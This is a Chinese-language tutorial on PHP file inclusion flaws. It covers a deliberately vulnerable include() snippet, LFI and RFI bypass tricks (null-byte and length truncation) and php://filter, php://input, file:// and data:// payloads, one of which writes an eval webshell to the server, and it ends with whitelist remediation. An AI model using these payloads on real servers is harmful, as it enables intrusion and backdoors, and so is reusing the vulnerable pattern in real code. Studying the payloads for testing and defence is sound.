文件包含漏洞
漏洞成因:
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
例如:
<?PHP
$filename = $_GET['filename'];
include($filename);
?>
没有对接收的$filename变量进行严格的过滤,当用户通过其他漏洞向服务器上传了包含后门代码的文件(图片马等),可以结合包含漏洞将图片马中的代码执行,造成getshell
漏洞检测:
白盒(代码审计):
PHP中的文件包含函数:include(),require(),include_once(),require_once
include()和require主要区别是include在包含过程中出错会抛出异常继续执行
require直接退出执行
黑盒:
漏扫工具
公开漏洞
手工看参数值及功能点
漏洞分类:
本地包含(LFI):
有限制:
后端强制固定后缀(.html)
PHP%00截断绕过:
条件:magic_quotes_gpc = off PHP版本<5.3.4
例如:filename=../../../shell.txt%00
长度截断:
条件:windows服务器,点号需要长于256;
linux服务器 长于4096
例:filename=shell.txt././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
远程包含(RFI):
有限制:
文件名后加%23 %20 ? 等
PHP伪协议
filter://
读取文件源码:
PHP://filter/read=convert.base64-encode/resource=文件名
include.PHP?file=PHP://filter/read=convert.base64-encode/resource=PHPinfo.PHP
base64加密是防止代码乱码
input://
执行PHP代码:
PHP://input+[POST DATA]
http://127.0.0.1/include.php?file=php://input[POST DATA部分]
<?PHP PHPinfo();?>
写入一句话木马:
http://127.0.0.1/include.php?file=php://input[POST DATA部分]
<?fputs(fopen('shell.PHP','w'),'<?PHP @eval($_GET[cmd])?>'); ?>
file读取文件://
http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt
data执行PHP代码://
http://127.0.0.1:8080/include.php?filename=data://text/plain,
<?PHP%20PHPinfo();?>
漏洞修复:
相对于直接关闭远程包含参数开关,彻底切断这个业务相比较。
目前业内最好的修复方案即是设置类似白名单的方法,通过筛选固定文件名方法,一方面不必切断这个业务,另一方面又不会被轻易绕过
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。